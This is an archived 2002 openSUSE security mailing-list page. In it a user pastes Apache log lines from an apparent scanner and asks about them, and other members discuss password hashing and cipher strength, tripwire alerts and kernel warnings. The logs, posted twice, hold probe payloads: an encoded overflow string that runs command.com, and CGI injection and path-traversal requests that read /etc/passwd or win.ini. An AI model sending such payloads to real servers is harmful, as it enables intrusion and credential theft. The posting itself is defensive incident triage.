July 2002 - openSUSE Security - openSUSE Mailing Lists

Possible Apache Exploit?
by Charles Funderburk 10 Jul '02

10 Jul '02

Hello all, I am new to the list and have gained a ton from reading all the comments and suggestions. I thought someone might be able to help me out and give me their two cents on something I noticed in my Apache access logs.Looks like a buffer overflow intended for a NT machine. 0.70.24.222 - - [10/Jul/2002:01:05:44 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/openfile.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%03%CA%FF%D1c:\command.com_ /c_copy_\WebSite\readme.1st_\WebSite\htdocs\cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/displayopenedfile.cfm HTTP/1.0" 404 311 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET //etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/info2www?(../../../../../../../../sbin/ping-c%d%s|)" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/pfdispaly?../../../../../etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "get /" 501 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/MachineInfo" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=NA I+Test&dbq=..%2fwwwroot%2fNAI-18719.htm&newdb=CREATE_DB&attr= HTTP/1.0" 404 299 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /ASPSamp/ HTTP/1.0" 404 283 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/Count.cgi?dd=aa HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET / HTTP/1.0" 200 1350 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /mlog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /php/mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "POST /cgi-win/uploader.exe/cgi-win/ HTTP/1.0" 404 304 I haven't seen any of the code for the latest apache chunk exploit. Anyone have any ideas or suggestions? Thanks! -Charles

3 2

Apache logs
by Charles Funderburk 10 Jul '02

10 Jul '02

Hello all, I am new to the list and have gained a ton from reading all the comments and suggestions. I thought someone might be able to help me out and give me their two cents on something I noticed in my Apache access logs.Looks like a buffer overflow intended for a NT machine. 0.70.24.222 - - [10/Jul/2002:01:05:44 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/openfile.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%03%CA%FF%D1c:\command.com_ /c_copy_\WebSite\readme.1st_\WebSite\htdocs\cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/displayopenedfile.cfm HTTP/1.0" 404 311 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET //etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/info2www?(../../../../../../../../sbin/ping-c%d%s|)" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/pfdispaly?../../../../../etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "get /" 501 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/MachineInfo" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=NA I+Test&dbq=..%2fwwwroot%2fNAI-18719.htm&newdb=CREATE_DB&attr= HTTP/1.0" 404 299 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /ASPSamp/ HTTP/1.0" 404 283 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/Count.cgi?dd=aa HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET / HTTP/1.0" 200 1350 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /mlog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /php/mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "POST /cgi-win/uploader.exe/cgi-win/ HTTP/1.0" 404 304 I haven't seen any of the code for the latest apache chunk exploit. Anyone have any ideas or suggestions? Thanks! -Charles

1 0

RE: [suse-security] Password Encryption
by Alan Rouse 10 Jul '02

10 Jul '02

Christian Röpke wrote: >password cracking : >- DES can only be cracked by a brute force attack, because there is no >way to crack the s-boxes. >- to crack DES, means to find the 56 bit long key. That is "approximately" true, but misses the point. Password cracking is done, not by breaking DES or MD5, but by guessing passwords. There are many approaches to password guessing. A good cracking tool will start by trying commonly used passwords from a dictionary, along with simple variants. Then a larger dictionary of words, names etc will be tried, again with simple variants. Finally, a brute force search of all combinations of typeable characters is tried. It makes little difference what algorithm is used to encrypt the password. Actually, the only real impact would be the speed of an encryption, since each guessed password will be encrypted and compared to the stored encrypted value. DES is crackable, but it takes a huge amount of processing power. In 1999, a single DES key was cracked by 100,000 distributed PC's working together, plus a supercomputer designed specifically for the task, in about 23 hours. AFAIK there has not been a more recent publicly disclosed crack. 2-key triple DES is considered no stronger than DES, because of the "Meet in the middle" attack. 3-key triple DES, despite its use of 168 bits of key material, is considered to have only 112 bits of "strength" due to the same class of attack. Actually, given enormous amounts of memory, theoretical attacks have been designed that require only about 2^90 decryptions to break three-key triple DES. Even that is far beyond what can be accomplished on today's equipment. OTOH, Rijndael is potentially much stronger. I say potentially, because it is new and less studied so there are risks. It is not likely that a major break of DES will occur before quantum computing becomes a reality. However, Rijndael is IMO somewhat more likely to fall to a catastrophic break. There is already at least one troubling advance (an attack based on overdefined equations) that has reduced the theoretical effort to crack Rijndael. Once a weakness is found in the armor of an algorithm, historically we have seen further advances to weaken it.

1 0

Martian headers???
by Thomas Nyman 10 Jul '02

10 Jul '02

everyone SuSE 8.0 is ticking along nicely, however my console shows the following message "xxx kernel: martian source 255.255.255.255 from 192.168.1.1, on dev eth0" "kernel: 11 header: ff:ff:ff:ff:ff:ff:00:60:08:4a:c2:62:08:00" the interesting part is that 192.168.1.1 is my eth1 device and that my eth0 is my internet card with a fixed ip adress.... anyone have any idea what this message means and how to get rid of it?

2 1

Re: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

Hello Bastian, Tuesday, July 9, 2002, 3:50:07 PM, you wrote: BS> Hi! BS> --On Dienstag, 9. Juli 2002 15:14 +0200 Christian Röpke BS> <christian.roepke(a)directbox.com> wrote: >> [...] >> p.s. : it exits a attack against md5, but i can't describe details at the >> moment, i ask my prof. __________________________________________________ BS> In 1996 a german researcher found a way to produce "collisions" in the BS> compression function of MD5 (in about 10 hours on a 100 MHz Pentium I), but BS> IIRC could not extend this attack to the full algorithm. Details are here: BS> <http://www.rsasecurity.com/rsalabs/faq/3-6-6.html> BS> <ftp://ftp.rsasecurity.com/pub/cryptobytes/crypto2n2.pdf> BS> <http://www.informatik.uni-mannheim.de/informatik/pi4/projects/Crypto/rgp/m d5/dobbertin.ps>> BS> This is a serious academic weakness of the algorithm, but surely nothing to BS> worry about in practical applications. Attackers who have the required BS> resources for this kind of attack will certainly be able to find completely BS> different ways to compromise the security of your linux box. ok, here is the answer for you peer BS> By the way: The same goes for DES. There has been no practical attack BS> against the structure of the cipher. It is simply outdated, because BS> a) it is very slow in software and BS> b) it´s keysize is far too small to protect against brute force attacks BS> with today´s computing power (I guess, that´s what you meant with "attack") BS> Still, you need a considerable amount of computation to break DES and BS> attackers might just as well find different ways to break into your system. ok, but if we knows, that there is a way to crack the shadow file, why don't we use a secure algorithm ? (triple DES or AES) Are there no implementation for this algorithms ? (a DES cracker-maschine costs about 100.000 $) BS> Hope this helps. BS> Greetings, BS> Bastian. christian __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

3 2

Re[2]: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

Hello Peer, Tuesday, July 9, 2002, 3:37:02 PM, you wrote: >> but many systems are not clean and then the cracker hasn't >> any chance to crack the shadow-file, if the passwords are >> encrypted by des3 or aes. PS> even des3 and aes are "crackable". it's important to not be able to derive PS> the password from the encrypted string, which means you need one-way hash PS> functions like md5, sha, or whatever you like (sha is considered more secure PS> than md5). if there really is an attack against the md5-algorithm (with real PS> i mean useable agains real live systems) then we're all in big big trouble. PS> most weaknesses of an algorithm are theoratically and [mostly] unuseable PS> against real live systems. password encryption : - the cleartext password is hashed by md5 - this hash-value is the key for DES encryption of the password is that right ? password cracking : - DES can only be cracked by a brute force attack, because there is no way to crack the s-boxes. - to crack DES, means to find the 56 bit long key. - the cracker has 2^56 different keys, and only one is the right - he has the encrypted password, the algorithm and the way to encrypt passwords, then he tests all 2^56 different keys and compares it with the value of the shadow-file, one key shows the cleartext password - it is possible to find this one key in a realistic time triple DES needs a 112 bit key - the cracker has 2^112 different keys - to find the right key is not (perhaps by the nsa ?, nobody knows it) possible is a realistic time --> triple des in NOT crackabe AES needs a 128 bit key - the cracker has 2^128 different keys and this is also not possible (for the next .. years) >> and these algorithms are the state of the art PS> not 3des or des3 (it's the same) - it's not state of the art, although it's PS> widely used. (it's just des 3 times with 2 different keys (there are 3 PS> possible ways to use the keys: 1-1-2, 1-2-1, 2-1-1), which equals a PS> key-length of 112 bits which is somewhat weak). it is used because of its PS> speed for session-keys, not for passwords. and this is the cause of trible DES and AES are state of the art, and because triple DES is not crackable many distributions use this algorithm. >> christian >> >> p.s. : it exits a attack against md5, but i can't describe >> details at the moment, i ask my prof. PS> i really want to know more about this attack. please ask your professor and PS> post the details ;-) PS> regards, PS> stefan i try christian __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

2 1

strange tripwire results
by ic_admin 10 Jul '02

10 Jul '02

Hi again, I have the next problem and I do not know how this could happen: I'm running tripwire to check my system each night, now I have a file which appears in my tripwire result as changed: /usr/lib/libc_nonshared.a But I didn't changed it! And in the tripwire-result I can only see the md5 and snefru sig's and NO st_mtime and NO st_ctime is displayed! The next night I run the tripwire-system again and now the result is OK without creating a new database!? Some days later another file was changed as the result of the tripwire told me: /usr/bin/expiry The same as described before but I see this changed file in each result until it occured the first time. Some days later these files show the same behaviour: /usr/share/terminfo/h/hp2645a /opt/kde2/bin/meinproc /usr/lib/locale/ar_EG/LC_COLLATE /usr/lib/perl5/5.6.0/unicode/Names.txt I'm running: - Tripwire version 1.2 (patchlevel 2) - SuSE7.2 This have I done before: I have secure copies of all my tripwire databases and I diff my secured against the one from the system -- it is OK, they do not differ! I took a look in all log's, bash_history and I checked the logins with last -- nothing! I am running iptables on this machine and only port 53 is open for IN and OUT. What happens on this machine? I don't think that somebody hack my system; perhaps somebody has similar problems and could help me. Many thanks and regards Ruediger InterConcept GmbH Drosselweg 27 D-61462 Koenigstein http://www.i-concept.de

3 5

authorize pop for root?
by Geordon VanTassle 10 Jul '02

10 Jul '02

Hello , Please forgive if this is an FAQ, but how do I authorise pop for root? Using ipop3, SuSE 8.0 pro. Have PostFix installed. thanks in advance. -- Best regards, Geordon mailto:gvantass@interaccess.com PGP Key ID: 0xFCF06B79 Your Fortune ==> "There are two theories about arguing with women ............................Neither one works."

3 2

Re: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

i know, that it is very important to hold my system clean. but many systems are not clean and then the cracker hasn't any chance to crack the shadow-file, if the passwords are encrypted by des3 or aes. and these algorithms are the state of the art christian p.s. : it exits a attack against md5, but i can't describe details at the moment, i ask my prof. __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

2 1

RE: [suse-security] Password Encryption
by Reckhard, Tobias 10 Jul '02

10 Jul '02

> > and these algorithms are the state of the art > > not 3des or des3 (it's the same) - it's not state of the art, > although it's > widely used. I guess this depends entirely on what you label 'state of the art'. Triple-DES is certainly secure enough currently, in fact, it's tried and tested for so long that it's probably got a better reputation (security-wise) than most new ciphers, such as Blowfish, Twofish, IDEA and even Rijndael. It is, however, slow in software, since DES was designed for hardware implementation and Triple-DES is only a third as fast as DES. It seems to me that the keylength also can't be extended, which was one of the criteria for AES contestants. > (it's just des 3 times with 2 different keys (there are 3 > possible ways to use the keys: 1-1-2, 1-2-1, 2-1-1), which equals a > key-length of 112 bits which is somewhat weak). it is used > because of its > speed for session-keys, not for passwords. Actually, Triple-DES comes in two variants, one with three and another with two different keys. It is important to perform encryption with key one first, to then *decrypt* the ciphertext with key two and finally encrypt the ciphertext produced with key one or key three. As for the usage scenarios of 3DES, its lacking speed, when compared to other symmetric ciphers, is its most important drawback. As for passwords, since they are typically processed rather seldom (when compared to encryption/decryption of e.g. data streams), the speed of the algorithm used normally shouldn't be that important. This is similar to the case for SSL, where costly RSA operations are much fewer than relatively cheap RC4. This is beginning to go off-topic, though.. Cheers Tobias

1 0